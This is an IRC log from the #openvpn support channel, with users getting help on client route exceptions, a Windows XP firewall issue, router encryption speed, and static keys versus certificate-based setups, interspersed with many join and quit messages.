05:40 <@novaflash> "hello i want magical solution that checks every client computer if their antivirus is up to date, without knowing what antivirus they are using, can access server do this?" .. sigh
05:43 <+pekster> novaflash: Here's your canned reply to that: http://lh3.ggpht.com/-Uv31mkKU_jk/S99BW8bsF7I/AAAAAAAAA_k/W3I8mpu5LoQ/dsl-modem-condom.jpg
05:43 <@novaflash> :-D
05:49 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Quit: Leaving]
05:50 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 255 seconds]
05:51 -!- Porkepix [~Porkepix@lns-bzn-39-82-255-48-229.adsl.proxad.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
05:55 -!- joshie [~josh@joshie.net] has quit [Ping timeout: 248 seconds]
05:55 -!- Porkepix [~Porkepix@lns-bzn-39-82-255-48-229.adsl.proxad.net] has joined #openvpn
06:01 < andi> Hi
06:02 < andi> I have an openvpn tunnel running. The client routes all the traffic through the tunnel. I'd like to add some private networks which should not be routed through the tunnel. Can somebody give me an example how to add the command "route add -net 192.168.0.0/24 gw 192.168.1.1" to openvpn client configuration?
06:08 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
06:13 -!- dazo_afk is now known as dazo
06:13 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
06:14 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:20 <@novaflash> are you sure you want to do this by pushing a route?
06:20 <@novaflash> and not just setting these routes up locally on the client side?
06:21 <+pekster> If this is an exception for client-side networks, it would make more sense to do it in the client's ovpn config, not the client terminal (obviously if this is consistent across all your clients, it should be pushed from the serer)
06:22 <+pekster> andi: See the --route in the manpage, since you get a few variables to play with. Specifically, I think you want to use the net_gateway variable
06:22 <+pekster> Short example in openvpn config syntax: 'route 192.168.0.0 255.255.255.0 net_gateway'
06:23 <+pekster> mod to taste, and/or wrap it in a server-side push statement
06:23 <+pekster> This said, you never need to redirect your client link-local LAN since you already have a higher priority route for it
06:24 <+pekster> (if that's what you're trying to do)
06:36 -!- joshie [~josh@joshie.net] has joined #openvpn
06:47 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
06:47 < Azrael_-> hi
06:48 <@novaflash> pekster, you have a brain! awesome.
06:48 < Azrael_-> i run winxp sp2 with openvpn. but after installing openvpn the windows firewall service doesn't start any more and without it all incoming connections are blocked. how can i resolve this?
06:49 <@novaflash> xp sp2? isn't it time you updated to sp3..?
06:50 <@novaflash> and did you install openvpn 2.3 or the older 2.2.2 ? might want to give the older one a try.
06:50 < Azrael_-> sorry, my bad. it is sp3
06:51 < Azrael_-> i installed the 2.2.2
06:51 < Azrael_-> and it seems like the windows firewall has problems with the network-adapter of openvpn
06:53 < kisom> Azrael_-: Without the firewall all connections are allowed by default.
06:53 < Azrael_-> kisom: but without the windows firewall service running i can't even ping the machine. after starting the service it works again just fine
06:54 < kisom> Azrael_-: Sounds wierd, since it's the firewalls responsability to block incomming connections
06:54 < kisom> Azrael_-: Check your firewall rules imo.
06:55 < Azrael_-> kisom: yeah, but in winxp the service is also name as "windows firewall/shared internet connection"-service. thus i think there are more features included beside the firewall-blocking
06:56 < Azrael_-> *named
06:56 <@novaflash> sounds a little strange to me too. perhaps you can try starting the firewall service, then going into the windows security settings and disabling the firewall completely. perhaps then things will start functioning properly again.
06:58 <@novaflash> and ICS, internet connection sharing, is not necessary to just get a connection to the internet - but it is required if you want to share your internet connection to other machines on your network if you have a second network card and share the internet on that. i don't know why anyone would want to do this, since people usually just have a router and a switch to take care of business, but...
06:58 <@novaflash> ...it's possible, i suppose.
06:59 < Azrael_-> i know as i don't use this feature
06:59 < Azrael_-> just trying the disabling-scenario
07:05 -!- sam1 [~sam@194-236-182-101.customer.telia.com] has joined #openvpn
07:06 < sam1> !welcome
07:06 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
07:06 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:07 < sam1> !mitm
07:07 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: ns-cert-type server in the client config
07:08 < sam1> !topology
07:08 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
07:13 < sam1> !route
07:13 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
07:16 -!- Orbi [~opera@anon-184-212.vpn.ipredator.se] has left #openvpn []
07:53 -!- Mimiko [~Mimiko@77.89.245.38] has quit [Ping timeout: 252 seconds]
07:54 -!- Mimiko [~Mimiko@77.89.245.38] has joined #openvpn
07:54 -!- Mimiko [~Mimiko@77.89.245.38] has quit [Excess Flood]
07:54 -!- Mimiko [~Mimiko@77.89.245.38] has joined #openvpn
07:54 -!- Mimiko [~Mimiko@77.89.245.38] has quit [Excess Flood]
07:54 -!- Guest23205 [~Mimiko@77.89.245.38] has joined #openvpn
07:54 -!- Guest23205 [~Mimiko@77.89.245.38] has quit [Excess Flood]
07:54 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
07:54 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
07:54 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
07:54 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
07:55 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
07:55 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:00 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:01 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:01 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:01 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:01 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:01 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:01 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:01 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:01 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:01 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:02 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:02 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:02 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:02 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:02 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:02 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:02 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:02 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:02 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:02 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:03 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:03 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:03 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:03 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:03 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:03 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:03 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:03 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:04 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:04 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:04 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:04 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:04 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:04 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:05 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:05 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:05 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:05 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:05 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:05 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:05 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:05 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:05 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:05 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:06 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:06 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:06 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:06 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:06 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:06 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:06 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:06 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:06 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:06 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:07 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:07 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:07 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:07 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:07 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:07 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:08 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:08 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:08 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:08 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:08 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:08 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:08 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:08 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:09 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:09 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:09 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:09 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:09 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:09 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:10 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:10 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:10 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:10 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:10 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:10 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:10 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:10 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:11 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:11 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:11 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:11 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:11 -!- Mimiko [~Mimiko@77.89.245.38] has joined #openvpn
08:11 -!- Mimiko [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:11 -!- Mimiko [~Mimiko@77.89.245.38] has joined #openvpn
08:11 -!- Mimiko [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:11 -!- Mimiko [~Mimiko@77.89.245.38] has joined #openvpn
08:11 -!- Mimiko [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:12 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:12 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:12 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:12 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:12 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:12 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:13 -!- Mimiko [~Mimiko@77.89.245.38] has joined #openvpn
08:13 -!- Mimiko [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:13 -!- Mimiko [~Mimiko@77.89.245.38] has joined #openvpn
08:13 -!- Mimiko [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:13 -!- Mimiko [~Mimiko@77.89.245.38] has joined #openvpn
08:13 -!- Mimiko is now known as Guest81896
08:13 -!- Guest81896 [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:13 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:13 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:13 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:14 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:14 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:14 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:14 -!- erry [erry@freenode/staff/erry] has joined #openvpn
08:14 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:14 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:14 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:14 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:14 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:14 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:15 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:15 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:15 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:15 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:15 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:15 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:15 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:15 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:15 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:15 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:16 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:16 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:16 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:16 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:16 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:16 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:16 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
08:16 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:21 -!- Saviq [~Saviq@canonical/saviq] has quit [Ping timeout: 248 seconds]
08:22 -!- Saviq [~Saviq@canonical/saviq] has joined #openvpn
08:25 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit []
08:26 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has joined #openvpn
08:26 -!- Mimiko^_^ [~Mimiko@77.89.245.38] has quit [Excess Flood]
08:36 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 276 seconds]
08:36 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Quit: leaving]
08:45 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has joined #openvpn
08:49 -!- APTX [APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
08:52 -!- vpopov [~happylife@149.62.17.217] has joined #openvpn
08:56 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
09:22 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:28 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:34 -!- AsadH is now known as zz_AsadH
09:47 -!- jthunder [~jthunder@184.151.222.180] has joined #openvpn
09:53 -!- Porkepix [~Porkepix@lns-bzn-39-82-255-48-229.adsl.proxad.net] has quit [Ping timeout: 245 seconds]
10:14 -!- gladiatr [~sdspence@24.124.15.166] has joined #openvpn
10:14 -!- gladiatr [~sdspence@24.124.15.166] has quit [Changing host]
10:14 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
10:15 -!- zz_AsadH is now known as AsadH
10:18 -!- b1rkh0ff [~b1rkh0ff@31.176.186.83] has quit [Ping timeout: 240 seconds]
10:24 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has quit [Quit: nonotza]
10:27 -!- midkniht [~midkniht@cpe-70-112-107-27.austin.res.rr.com] has joined #openvpn
10:32 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:38 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Read error: Connection reset by peer]
10:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
10:39 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
10:43 -!- MeanderingCode_ [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
10:43 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
10:45 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
10:46 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Ping timeout: 245 seconds]
10:51 -!- MeanderingCode_ [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Remote host closed the connection]
10:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:54 -!- sam1 [~sam@194-236-182-101.customer.telia.com] has quit [Ping timeout: 255 seconds]
11:00 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 252 seconds]
11:01 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
11:06 -!- sam1 [~sam@194-236-182-101.customer.telia.com] has joined #openvpn
11:11 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:16 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
11:21 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in]
11:21 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....]
11:21 -!- bisko [~bisko@77.70.26.115] has quit [Ping timeout: 245 seconds]
11:22 -!- raidz [~raidz@raidz.im] has joined #openvpn
11:22 -!- raidz [~raidz@raidz.im] has quit [Changing host]
11:22 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
11:22 -!- mode/#openvpn [+o raidz] by ChanServ
11:30 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has joined #openvpn
11:31 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Ping timeout: 245 seconds]
11:34 -!- b1rkh0ff [~b1rkh0ff@92.36.195.218] has joined #openvpn
11:54 -!- Orbi [~opera@anon-184-212.vpn.ipredator.se] has joined #openvpn
11:57 -!- Valcorb|| [~Valcorb@94-227-38-227.access.telenet.be] has joined #openvpn
12:00 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has quit [Ping timeout: 240 seconds]
12:02 -!- AsadH is now known as zz_AsadH
12:04 -!- b1rkh0ff [~b1rkh0ff@92.36.195.218] has quit [Ping timeout: 252 seconds]
12:05 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has joined #openvpn
12:05 -!- b1rkh0ff [~b1rkh0ff@31.176.168.75] has joined #openvpn
12:06 -!- Valcorb|| [~Valcorb@94-227-38-227.access.telenet.be] has quit [Ping timeout: 256 seconds]
12:08 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 276 seconds]
12:08 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
12:11 -!- Cpot-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:14 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
12:32 -!- jthunder [~jthunder@184.151.222.180] has quit [Ping timeout: 260 seconds]
12:37 -!- MeanderingCode_ [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
12:41 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Ping timeout: 255 seconds]
12:54 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
13:04 -!- kusznir [~kusznir@76.178.145.28] has quit [Read error: Connection reset by peer]
13:05 -!- kusznir [~kusznir@76.178.145.28] has joined #openvpn
13:17 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
13:20 -!- Saviq_ [~Saviq@194.168.195.98] has joined #openvpn
13:25 -!- Saviq_ [~Saviq@194.168.195.98] has quit [Ping timeout: 248 seconds]
13:36 -!- jthunder [~jthunder@70.28.245.77] has joined #openvpn
13:52 -!- zz_AsadH is now known as AsadH
14:07 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
14:08 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
14:08 -!- bjh4 [~bjh4@12.239.198.1] has joined #openvpn
14:34 -!- tyteen4a03 [T4@n218250228096.netvigator.com] has quit [Read error: Connection reset by peer]
14:34 -!- tyteen4a03 [T4@n218250228096.netvigator.com] has joined #openvpn
14:35 -!- kusznir [~kusznir@76.178.145.28] has quit [Read error: Connection reset by peer]
14:40 -!- brute11k [~brute11k@89.249.230.238] has quit [Quit: Leaving.]
14:44 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
14:48 -!- Porkepix [~Porkepix@lns-bzn-39-82-255-48-229.adsl.proxad.net] has joined #openvpn
15:02 -!- Eagleman [~Eagleman@5.45.183.189] has joined #openvpn
15:16 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:19 -!- Saviq_ [~Saviq@194.168.195.98] has joined #openvpn
15:19 -!- Saviq_ [~Saviq@194.168.195.98] has quit [Remote host closed the connection]
15:26 -!- bjh4 [~bjh4@12.239.198.1] has quit [Quit: Leaving]
15:55 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has quit []
15:55 < Azrael_-> hi
16:00 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:01 -!- Eagleman [~Eagleman@5.45.183.189] has quit [Ping timeout: 260 seconds]
16:03 -!- Porkepix [~Porkepix@lns-bzn-39-82-255-48-229.adsl.proxad.net] has quit [Quit: Computer has gone to sleep.]
16:04 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:05 < Eagleman7> Any idea why openvpn on my router with redirect-gateway is way slower than a direct connection from my pc to the vpn server with redirect-gateway ?
16:05 < Eagleman7> 12mbit vs 55 mbit difference, exact same config files
16:08 < rob0> maybe the router is CPU- and memory-constrained and cannot keep up with the encryption task.
16:11 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:11 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
16:12 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
16:13 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:16 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:16 < Eagleman> Looks like the cpu is to slow on the router
16:20 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
16:21 -!- dazo is now known as dazo_afk
16:25 < Azrael_-> had some trouble setting up openvpn on winxp sp3. failed miserably with 2.2. reinstalled the whole windows and tried now 2.3 and everything worked just fine
16:26 < Azrael_-> (one advantage perhaps: i didn't try hamachi first)
16:35 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
16:38 -!- Azrael_- [~idjfijdi@adsl-62-167-40-41.adslplus.ch] has quit [Ping timeout: 255 seconds]
16:39 -!- Azrael_- [~idjfijdi@adsl-62-167-40-41.adslplus.ch] has joined #openvpn
16:39 -!- MeanderingCode_ [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Ping timeout: 245 seconds]
16:46 -!- hurleyman [~hurleyman@mail.caffalltile.com] has joined #openvpn
16:47 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Quit: Computer has gone to sleep.]
16:47 < hurleyman> hello
16:49 < blackmagic> hello.
16:49 < hurleyman> I have a quick question. I have a small business server and I am reading up on VPN. At the most we will have maybe 1 or 2 users connected
16:50 < hurleyman> would you recommend a static key setup
16:50 <@krzee> no i would not
16:50 <@krzee> !statickey
16:50 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
16:50 < blackmagic> for both users? no. i would create a server/client setup PER user.
16:50 <@krzee> per user?
16:50 <@krzee> 1 pki will handle all users
16:50 <@krzee> and other offices
16:50 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 245 seconds]
16:51 < blackmagic> heh i did one per user :x
16:52 < hurleyman> perfect. the more I was reading made sense to go server/client but I also didnt want to go overkill
16:52 <@krzee> static key has no forward security
16:52 < blackmagic> no such thing as overkill LOL.
16:52 <@krzee> for simply that reason ild use server/client whenever possible
16:53 <@krzee> and if you have 2 clients, thats another reason to use server/client
16:53 <@krzee> bbl, break is over =]
16:53 < blackmagic> heh
16:53 -!- AsadH is now known as zz_AsadH
16:53 < hurleyman> and makes sense for growth.  it would suck if I had to change it all in a few months cause more users are wanting VPN
16:53 < blackmagic> working on his break :D
16:53 < blackmagic> hurleyman, create yourself a vpnusersetup.sh if that be the case.
16:53 <@krzee> im on vacation, voluntary ranch work
16:53 < blackmagic> ah.
16:54 <@krzee> just finished rolling 1
16:54 <@krzee> :D
16:54 <@krzee> bbl
16:54 < blackmagic> hopefully a doobie ;P
16:55 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
16:56 < hurleyman> thanks for your help.  going to dive into the guides to do some test on a suse vm
